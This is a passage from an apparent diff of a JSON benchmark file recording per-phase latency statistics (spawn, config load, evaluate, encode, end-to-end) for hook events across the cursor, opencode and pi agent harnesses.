"encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.22, + 3.93, + 4.01 + ], + "e2e": [ + 64.6, + 68.52, + 72.05 + ] + }, + "e2eMean": 64.37, + "e2eStddev": 2.53, + "e2eMin": 59.37, + "e2eMax": 72.05 + }, + "cursor|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.88, + 65.52, + 66.8 + ], + "configLoad": [ + 0.53, + 0.58, + 0.69 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.26 + ], + "other": [ + 3.32, + 3.92, + 4.09 + ], + "e2e": [ + 65.26, + 69.9, + 71.48 + ] + }, + "e2eMean": 65.07, + "e2eStddev": 2.7, + "e2eMin": 59.89, + "e2eMax": 71.48 + }, + "cursor|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.24, + 65.13, + 67.89 + ], + "configLoad": [ + 0.54, + 0.6, + 1.02 + ], + "evaluate": [ + 0.16, + 0.18, + 0.29 + ], + "encode": [ + 0.24, + 0.27, + 0.4 + ], + "other": [ + 3.44, + 3.92, + 3.94 + ], + "e2e": [ + 64.4, + 70.43, + 72.16 + ] + }, + "e2eMean": 65.08, + "e2eStddev": 2.82, + "e2eMin": 60.1, + "e2eMax": 72.16 + }, + "cursor|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.86, + 63.56, + 65.92 + ], + "configLoad": [ + 0.53, + 0.57, + 0.58 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.26, + 0.26 + ], + "other": [ + 3.34, + 3.93, + 4.05 + ], + "e2e": [ + 65.39, + 68.27, + 70.05 + ] + }, + "e2eMean": 64.86, + "e2eStddev": 2.48, + "e2eMin": 59.06, + "e2eMax": 70.05 + }, + "cursor|Stop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.12, + 64.18, + 65.28 + ], + "configLoad": [ + 0.53, + 0.6, + 0.63 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.25, + 3.73, + 3.84 + ], + "e2e": [ + 64.47, + 68.67, + 70 + ] + }, + "e2eMean": 64.55, + "e2eStddev": 2.45, + "e2eMin": 59.76, + "e2eMax": 70 + }, + "cursor|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.25, + 64.75, + 66.65 + ], + "configLoad": [ + 0.53, + 0.59, + 0.68 + ], + "evaluate": [ + 0.16, + 0.17, + 0.2 + ], + "encode": [ + 0.24, + 0.26, + 0.28 + ], + "other": [ + 3.35, + 3.88, + 4.12 + ], + "e2e": [ + 64.57, + 68.58, + 70.91 + ] + }, + "e2eMean": 63.92, + "e2eStddev": 3.08, + "e2eMin": 57.93, + "e2eMax": 70.91 + }, + "cursor|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.97, + 65.29, + 65.95 + ], + "configLoad": [ + 0.53, + 0.57, + 0.58 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.26, + 0.3 + ], + "other": [ + 3.5, + 3.94, + 4.03 + ], + "e2e": [ + 65.58, + 69.73, + 70.41 + ] + }, + "e2eMean": 65.35, + "e2eStddev": 2.32, + "e2eMin": 60.7, + "e2eMax": 70.41 + }, + "cursor|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.03, + 65.06, + 68.71 + ], + "configLoad": [ + 0.54, + 0.57, + 0.59 + ], + "evaluate": [ + 0.16, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.4 + ], + "other": [ + 3.37, + 3.9, + 3.96 + ], + "e2e": [ + 65.84, + 69.62, + 72.69 + ] + }, + "e2eMean": 65.27, + "e2eStddev": 2.72, + "e2eMin": 60.59, + "e2eMax": 72.69 + }, + "cursor|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.81, + 65.03, + 66 + ], + "configLoad": [ + 0.53, + 0.56, + 0.58 + ], + "evaluate": [ + 0.16, + 0.17, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.34, + 3.85, + 3.93 + ], + "e2e": [ + 64.85, + 69.41, + 70.49 + ] + }, + "e2eMean": 65, + "e2eStddev": 2.67, + "e2eMin": 58.18, + "e2eMax": 70.49 + }, + "cursor|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.46, + 65.86, + 72.93 + ], + "configLoad": [ + 0.53, + 0.57, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.36, + 3.88, + 3.93 + ], + "e2e": [ + 64.23, + 70.26, + 77.34 + ] + }, + "e2eMean": 64.66, + "e2eStddev": 3, + "e2eMin": 60.43, + "e2eMax": 77.34 + }, + "cursor|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.23, + 65.33, + 69.07 + ], + "configLoad": [ + 0.53, + 0.57, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.26 + ], + "other": [ + 3.26, + 3.86, + 3.93 + ], + "e2e": [ + 65.33, + 69.71, + 73.79 + ] + }, + "e2eMean": 65.13, + "e2eStddev": 2.72, + "e2eMin": 60.11, + "e2eMax": 73.79 + }, + "cursor|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.9, + 66.22, + 67.62 + ], + "configLoad": [ + 0.53, + 0.57, + 0.59 + ], + "evaluate": [ + 0.16, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.31, + 3.97, + 4.17 + ], + "e2e": [ + 64.23, + 70.54, + 72.63 + ] + }, + "e2eMean": 64.61, + "e2eStddev": 3.06, + "e2eMin": 58.99, + "e2eMax": 72.63 + }, + "cursor|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.47, + 63.8, + 65.68 + ], + "configLoad": [ + 0.54, + 0.56, + 0.57 + ], + "evaluate": [ + 0.16, + 0.17, + 0.19 + ], + "encode": [ + 0.24, + 0.26, + 0.26 + ], + "other": [ + 3.38, + 3.87, + 4.07 + ], + "e2e": [ + 64.8, + 68.37, + 70.32 + ] + }, + "e2eMean": 64.56, + "e2eStddev": 2.3, + "e2eMin": 59.27, + "e2eMax": 70.32 + }, + "cursor|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.82, + 63.81, + 67.09 + ], + "configLoad": [ + 0.53, + 0.58, + 0.6 + ], + "evaluate": [ + 0.16, + 0.17, + 0.19 + ], + "encode": [ + 0.24, + 0.26, + 0.28 + ], + "other": [ + 3.35, + 3.89, + 3.94 + ], + "e2e": [ + 65.09, + 68.12, + 71.94 + ] + }, + "e2eMean": 64.8, + "e2eStddev": 2.48, + "e2eMin": 59.49, + "e2eMax": 71.94 + }, + "cursor|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.15, + 64.39, + 67.47 + ], + "configLoad": [ + 0.53, + 0.58, + 0.63 + ], + "evaluate": [ + 0.16, + 0.19, + 0.27 + ], + "encode": [ + 0.24, + 0.26, + 0.37 + ], + "other": [ + 3.26, + 3.81, + 3.91 + ], + "e2e": [ + 64.33, + 68.91, + 71.91 + ] + }, + "e2eMean": 64.71, + "e2eStddev": 2.68, + "e2eMin": 59.09, + "e2eMax": 71.91 + }, + "cursor|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.74, + 64.62, + 66.81 + ], + "configLoad": [ + 0.53, + 0.57, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.36, + 3.89, + 4.06 + ], + "e2e": [ + 65.16, + 68.92, + 71.16 + ] + }, + "e2eMean": 64.97, + "e2eStddev": 2.39, + "e2eMin": 59.79, + "e2eMax": 71.16 + }, + "cursor|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.66, + 68.79, + 70.57 + ], + "configLoad": [ + 0.53, + 0.58, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.32, + 4.04, + 4.09 + ], + "e2e": [ + 65.26, + 73.21, + 75.56 + ] + }, + "e2eMean": 65.43, + "e2eStddev": 3.72, + "e2eMin": 58.89, + "e2eMax": 75.56 + }, + "cursor|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.88, + 64.58, + 83.27 + ], + "configLoad": [ + 0.54, + 0.57, + 0.58 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.26, + 3.75, + 3.84 + ], + "e2e": [ + 65.21, + 68.92, + 87.02 + ] + }, + "e2eMean": 65.11, + "e2eStddev": 4.13, + "e2eMin": 58.92, + "e2eMax": 87.02 + }, + "cursor|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.15, + 65.6, + 68.72 + ], + "configLoad": [ + 0.53, + 0.58, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.27, + 0.27 + ], + "other": [ + 3.36, + 4.03, + 4.04 + ], + "e2e": [ + 65.39, + 70.15, + 72.31 + ] + }, + "e2eMean": 65.55, + "e2eStddev": 2.64, + "e2eMin": 59.88, + "e2eMax": 72.31 + }, + "cursor|Setup": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.8, + 64.19, + 67.13 + ], + "configLoad": [ + 0.53, + 0.58, + 0.79 + ], + "evaluate": [ + 0.16, + 0.19, + 0.24 + ], + "encode": [ + 0.25, + 0.27, + 0.37 + ], + "other": [ + 3.3, + 3.98, + 4.08 + ], + "e2e": [ + 65.13, + 68.7, + 70.78 + ] + }, + "e2eMean": 64.78, + "e2eStddev": 2.64, + "e2eMin": 59.21, + "e2eMax": 70.78 + }, + "opencode|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.33, + 65.9, + 70.19 + ], + "configLoad": [ + 0.54, + 0.58, + 0.78 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.24, + 0.27, + 0.28 + ], + "other": [ + 3.35, + 3.89, + 3.98 + ], + "e2e": [ + 64.32, + 70.29, + 75.08 + ] + }, + "e2eMean": 64.94, + "e2eStddev": 3.04, + "e2eMin": 59.65, + "e2eMax": 75.08 + }, + "opencode|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.36, + 67.83, + 70.81 + ], + "configLoad": [ + 0.54, + 0.59, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.24, + 3.93, + 4.05 + ], + "e2e": [ + 64.45, + 72.25, + 74.87 + ] + }, + "e2eMean": 65.07, + "e2eStddev": 3.27, + "e2eMin": 59.86, + "e2eMax": 74.87 + }, + "opencode|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.45, + 62.59, + 63.56 + ], + "configLoad": [ + 0.53, + 0.58, + 0.77 + ], + "evaluate": [ + 0.16, + 0.18, + 0.29 + ], + "encode": [ + 0.24, + 0.26, + 0.36 + ], + "other": [ + 3.31, + 3.94, + 4.01 + ], + "e2e": [ + 63.49, + 67.25, + 67.82 + ] + }, + "e2eMean": 63.6, + "e2eStddev": 2.15, + "e2eMin": 59.99, + "e2eMax": 67.82 + }, + "opencode|PreToolUse": { + "n": 50, + "matched": 6, + "customHooks": 0, + "phases": { + "spawn": [ + 60.13, + 64.61, + 69.14 + ], + "configLoad": [ + 0.53, + 0.56, + 0.68 + ], + "evaluate": [ + 1.04, + 1.09, + 1.37 + ], + "encode": [ + 0.26, + 0.27, + 0.29 + ], + "other": [ + 3.39, + 3.97, + 4.12 + ], + "e2e": [ + 65.09, + 70.08, + 74.3 + ] + }, + "e2eMean": 65.33, + "e2eStddev": 3.11, + "e2eMin": 59.43, + "e2eMax": 74.3 + }, + "opencode|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 0, + "phases": { + "spawn": [ + 60.47, + 66.27, + 68.37 + ], + "configLoad": [ + 0.53, + 0.56, + 0.58 + ], + "evaluate": [ + 0.3, + 0.32, + 0.33 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.49, + 3.91, + 4.03 + ], + "e2e": [ + 64.9, + 71.15, + 73.08 + ] + }, + "e2eMean": 65.3, + "e2eStddev": 2.93, + "e2eMin": 59.6, + "e2eMax": 73.08 + }, + "opencode|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.6, + 63.55, + 65.61 + ], + "configLoad": [ + 0.53, + 0.57, + 0.81 + ], + "evaluate": [ + 0.16, + 0.18, + 0.22 + ], + "encode": [ + 0.25, + 0.28, + 0.35 + ], + "other": [ + 3.22, + 3.92, + 3.95 + ], + "e2e": [ + 64.57, + 68.69, + 70.3 + ] + }, + "e2eMean": 64.57, + "e2eStddev": 2.6, + "e2eMin": 59.25, + "e2eMax": 70.3 + }, + "opencode|PostToolUse": { + "n": 50, + "matched": 5, + "customHooks": 0, + "phases": { + "spawn": [ + 60.53, + 68.92, + 69.66 + ], + "configLoad": [ + 0.53, + 0.58, + 0.79 + ], + "evaluate": [ + 0.56, + 0.59, + 0.85 + ], + "encode": [ + 0.26, + 0.28, + 0.42 + ], + "other": [ + 3.28, + 3.97, + 4.03 + ], + "e2e": [ + 65.72, + 73.24, + 74.37 + ] + }, + "e2eMean": 65.89, + "e2eStddev": 3.17, + "e2eMin": 60.93, + "e2eMax": 74.37 + }, + "opencode|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.57, + 64.86, + 65.19 + ], + "configLoad": [ + 0.54, + 0.56, + 0.65 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.48, + 3.88, + 3.9 + ], + "e2e": [ + 63.86, + 69.24, + 70.04 + ] + }, + "e2eMean": 64.24, + "e2eStddev": 2.43, + "e2eMin": 59.77, + "e2eMax": 70.04 + }, + "opencode|Notification": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.76, + 65.65, + 72.7 + ], + "configLoad": [ + 0.53, + 0.57, + 0.62 + ], + "evaluate": [ + 0.16, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.41, + 3.85, + 3.93 + ], + "e2e": [ + 65.23, + 70.12, + 77.56 + ] + }, + "e2eMean": 65.15, + "e2eStddev": 3.33, + "e2eMin": 60.01, + "e2eMax": 77.56 + }, + "opencode|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.69, + 66.61, + 67.95 + ], + "configLoad": [ + 0.54, + 0.57, + 0.6 + ], + "evaluate": [ + 0.16, + 0.19, + 0.19 + ], + "encode": [ + 0.24, + 0.26, + 0.29 + ], + "other": [ + 3.48, + 3.91, + 4.03 + ], + "e2e": [ + 65, + 71.13, + 72.52 + ] + }, + "e2eMean": 65.29, + "e2eStddev": 3.43, + "e2eMin": 59.27, + "e2eMax": 72.52 + }, + "opencode|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.22, + 68.11, + 70.66 + ], + "configLoad": [ + 0.54, + 0.62, + 0.69 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 3.36, + 3.86, + 3.89 + ], + "e2e": [ + 65.54, + 72.79, + 75.19 + ] + }, + "e2eMean": 66.01, + "e2eStddev": 3.36, + "e2eMin": 61.01, + "e2eMax": 75.19 + }, + "opencode|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.63, + 66.52, + 69.59 + ], + "configLoad": [ + 0.54, + 0.6, + 0.6 + ], + "evaluate": [ + 0.16, + 0.19, + 0.21 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 3.29, + 3.83, + 3.93 + ], + "e2e": [ + 64.72, + 70.34, + 74.05 + ] + }, + "e2eMean": 65.42, + "e2eStddev": 2.84, + "e2eMin": 61.4, + "e2eMax": 74.05 + }, + "opencode|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.08, + 65.61, + 67.97 + ], + "configLoad": [ + 0.54, + 0.58, + 0.61 + ], + "evaluate": [ + 0.16, + 0.17, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.37 + ], + "other": [ + 3.35, + 3.99, + 4.05 + ], + "e2e": [ + 64.45, + 70.36, + 72.27 + ] + }, + "e2eMean": 64.81, + "e2eStddev": 3.22, + "e2eMin": 60.01, + "e2eMax": 72.27 + }, + "opencode|Stop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.68, + 63.9, + 66.62 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.48, + 3.92, + 4.02 + ], + "e2e": [ + 64.79, + 68.65, + 71.38 + ] + }, + "e2eMean": 64.88, + "e2eStddev": 2.53, + "e2eMin": 59.17, + "e2eMax": 71.38 + }, + "opencode|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.6, + 64.36, + 65.41 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.17, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.39, + 3.95, + 4.1 + ], + "e2e": [ + 65.14, + 68.82, + 69.39 + ] + }, + "e2eMean": 64.89, + "e2eStddev": 2.6, + "e2eMin": 58.16, + "e2eMax": 69.39 + }, + "opencode|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.38, + 63.2, + 64.13 + ], + "configLoad": [ + 0.54, + 0.58, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.31 + ], + "other": [ + 3.15, + 3.89, + 3.97 + ], + "e2e": [ + 64.58, + 67.41, + 68.79 + ] + }, + "e2eMean": 64.35, + "e2eStddev": 2.47, + "e2eMin": 58.93, + "e2eMax": 68.79 + }, + "opencode|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.63, + 66.64, + 70.56 + ], + "configLoad": [ + 0.54, + 0.58, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.24 + ], + "encode": [ + 0.24, + 0.27, + 0.34 + ], + "other": [ + 3.33, + 3.87, + 4.07 + ], + "e2e": [ + 65.09, + 70.91, + 75.1 + ] + }, + "e2eMean": 65.35, + "e2eStddev": 3.43, + "e2eMin": 59.7, + "e2eMax": 75.1 + }, + "opencode|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.9, + 65.16, + 66.45 + ], + "configLoad": [ + 0.53, + 0.59, + 0.64 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.32 + ], + "other": [ + 3.54, + 3.85, + 3.96 + ], + "e2e": [ + 65.41, + 70.05, + 70.82 + ] + }, + "e2eMean": 65.27, + "e2eStddev": 2.74, + "e2eMin": 59.88, + "e2eMax": 70.82 + }, + "opencode|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.06, + 65.34, + 68.91 + ], + "configLoad": [ + 0.54, + 0.59, + 1 + ], + "evaluate": [ + 0.16, + 0.18, + 0.28 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 3.32, + 3.95, + 4.16 + ], + "e2e": [ + 65.5, + 69.63, + 73.82 + ] + }, + "e2eMean": 65.57, + "e2eStddev": 2.9, + "e2eMin": 59.21, + "e2eMax": 73.82 + }, + "opencode|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.65, + 68.35, + 72.96 + ], + "configLoad": [ + 0.54, + 0.59, + 0.64 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.27, + 0.29 + ], + "other": [ + 3.36, + 3.83, + 3.97 + ], + "e2e": [ + 66.11, + 72.86, + 77.4 + ] + }, + "e2eMean": 66.05, + "e2eStddev": 3.42, + "e2eMin": 59.33, + "e2eMax": 77.4 + }, + "opencode|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.55, + 66.35, + 69.85 + ], + "configLoad": [ + 0.55, + 0.57, + 0.58 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.32 + ], + "other": [ + 3.24, + 3.89, + 3.99 + ], + "e2e": [ + 65.9, + 70.9, + 74.18 + ] + }, + "e2eMean": 66.2, + "e2eStddev": 2.81, + "e2eMin": 61.32, + "e2eMax": 74.18 + }, + "opencode|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.52, + 66.86, + 67.13 + ], + "configLoad": [ + 0.54, + 0.59, + 0.73 + ], + "evaluate": [ + 0.16, + 0.19, + 0.21 + ], + "encode": [ + 0.25, + 0.29, + 0.31 + ], + "other": [ + 3.12, + 3.85, + 3.87 + ], + "e2e": [ + 65.05, + 70.97, + 71.29 + ] + }, + "e2eMean": 65.3, + "e2eStddev": 3.16, + "e2eMin": 59.34, + "e2eMax": 71.29 + }, + "opencode|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.52, + 66.12, + 70.81 + ], + "configLoad": [ + 0.54, + 0.6, + 0.69 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.47, + 3.89, + 3.91 + ], + "e2e": [ + 66, + 70.3, + 75.3 + ] + }, + "e2eMean": 66.06, + "e2eStddev": 2.74, + "e2eMin": 61.8, + "e2eMax": 75.3 + }, + "opencode|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.88, + 70.33, + 79.25 + ], + "configLoad": [ + 0.55, + 0.6, + 0.99 + ], + "evaluate": [ + 0.16, + 0.19, + 0.28 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 3.27, + 3.8, + 3.84 + ], + "e2e": [ + 64.99, + 74.23, + 84.34 + ] + }, + "e2eMean": 66.12, + "e2eStddev": 4.49, + "e2eMin": 60.18, + "e2eMax": 84.34 + }, + "opencode|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.96, + 66.03, + 67.65 + ], + "configLoad": [ + 0.54, + 0.58, + 0.66 + ], + "evaluate": [ + 0.16, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 3.4, + 3.78, + 4.01 + ], + "e2e": [ + 65.17, + 70.7, + 71.91 + ] + }, + "e2eMean": 65.4, + "e2eStddev": 2.86, + "e2eMin": 60.81, + "e2eMax": 71.91 + }, + "opencode|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.04, + 65.51, + 76.68 + ], + "configLoad": [ + 0.54, + 0.6, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.26 + ], + "encode": [ + 0.25, + 0.28, + 0.32 + ], + "other": [ + 3.41, + 3.84, + 3.93 + ], + "e2e": [ + 65.21, + 70.12, + 81.17 + ] + }, + "e2eMean": 65.95, + "e2eStddev": 3.18, + "e2eMin": 61.11, + "e2eMax": 81.17 + }, + "opencode|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.51, + 66.97, + 69.79 + ], + "configLoad": [ + 0.54, + 0.58, + 0.79 + ], + "evaluate": [ + 0.16, + 0.19, + 0.23 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 3.11, + 3.87, + 3.95 + ], + "e2e": [ + 64.61, + 71.31, + 73.56 + ] + }, + "e2eMean": 65.17, + "e2eStddev": 3.06, + "e2eMin": 60.11, + "e2eMax": 73.56 + }, + "opencode|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.18, + 66.17, + 83.23 + ], + "configLoad": [ + 0.53, + 0.6, + 0.83 + ], + "evaluate": [ + 0.16, + 0.19, + 0.26 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 3.33, + 3.88, + 4.06 + ], + "e2e": [ + 64.44, + 70.43, + 87.22 + ] + }, + "e2eMean": 65.39, + "e2eStddev": 4.26, + "e2eMin": 60.09, + "e2eMax": 87.22 + }, + "opencode|Setup": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.62, + 66.34, + 76.73 + ], + "configLoad": [ + 0.54, + 0.59, + 0.83 + ], + "evaluate": [ + 0.16, + 0.18, + 0.31 + ], + "encode": [ + 0.25, + 0.28, + 0.42 + ], + "other": [ + 3.44, + 3.97, + 4.12 + ], + "e2e": [ + 65.19, + 70.85, + 81.61 + ] + }, + "e2eMean": 65.68, + "e2eStddev": 3.52, + "e2eMin": 60.42, + "e2eMax": 81.61 + }, + "pi|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.27, + 67.26, + 67.97 + ], + "configLoad": [ + 0.54, + 0.61, + 0.65 + ], + "evaluate": [ + 0.17, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.27, + 0.28 + ], + "other": [ + 3.41, + 4.01, + 4.03 + ], + "e2e": [ + 65.52, + 71.57, + 72.73 + ] + }, + "e2eMean": 65.77, + "e2eStddev": 3.27, + "e2eMin": 59.61, + "e2eMax": 72.73 + }, + "pi|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.57, + 66.42, + 73.25 + ], + "configLoad": [ + 0.54, + 0.57, + 0.61 + ], + "evaluate": [ + 0.16, + 0.17, + 0.2 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.33, + 3.83, + 3.94 + ], + "e2e": [ + 64.83, + 70.88, + 77.32 + ] + }, + "e2eMean": 65.29, + "e2eStddev": 3.29, + "e2eMin": 59.22, + "e2eMax": 77.32 + }, + "pi|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.54, + 65.36, + 67.34 + ], + "configLoad": [ + 0.54, + 0.58, + 0.98 + ], + "evaluate": [ + 0.16, + 0.19, + 0.37 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.25, + 3.97, + 4.02 + ], + "e2e": [ + 64.7, + 69.75, + 71.74 + ] + }, + "e2eMean": 65.05, + "e2eStddev": 2.63, + "e2eMin": 59.62, + "e2eMax": 71.74 + }, + "pi|PreToolUse": { + "n": 50, + "matched": 6, + "customHooks": 0, + "phases": { + "spawn": [ + 59.9, + 66.72, + 74.28 + ], + "configLoad": [ + 0.54, + 0.64, + 0.73 + ], + "evaluate": [ + 1.06, + 1.12, + 1.18 + ], + "encode": [ + 0.26, + 0.3, + 0.32 + ], + "other": [ + 3.17, + 3.8, + 4.07 + ], + "e2e": [ + 64.93, + 72.31, + 78.56 + ] + }, + "e2eMean": 65.96, + "e2eStddev": 3.37, + "e2eMin": 60.16, + "e2eMax": 78.56 + }, + "pi|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 0, + "phases": { + "spawn": [ + 60.63, + 66.75, + 71.29 + ], + "configLoad": [ + 0.54, + 0.58, + 0.66 + ], + "evaluate": [ + 0.3, + 0.34, + 0.36 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 3.35, + 3.88, + 3.93 + ], + "e2e": [ + 65.04, + 71.56, + 76.18 + ] + }, + "e2eMean": 65.25, + "e2eStddev": 3.37, + "e2eMin": 59.94, + "e2eMax": 76.18 + }, + "pi|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.45, + 66.57, + 67.9 + ], + "configLoad": [ + 0.55, + 0.58, + 0.78 + ], + "evaluate": [ + 0.16, + 0.17, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.48, + 3.91, + 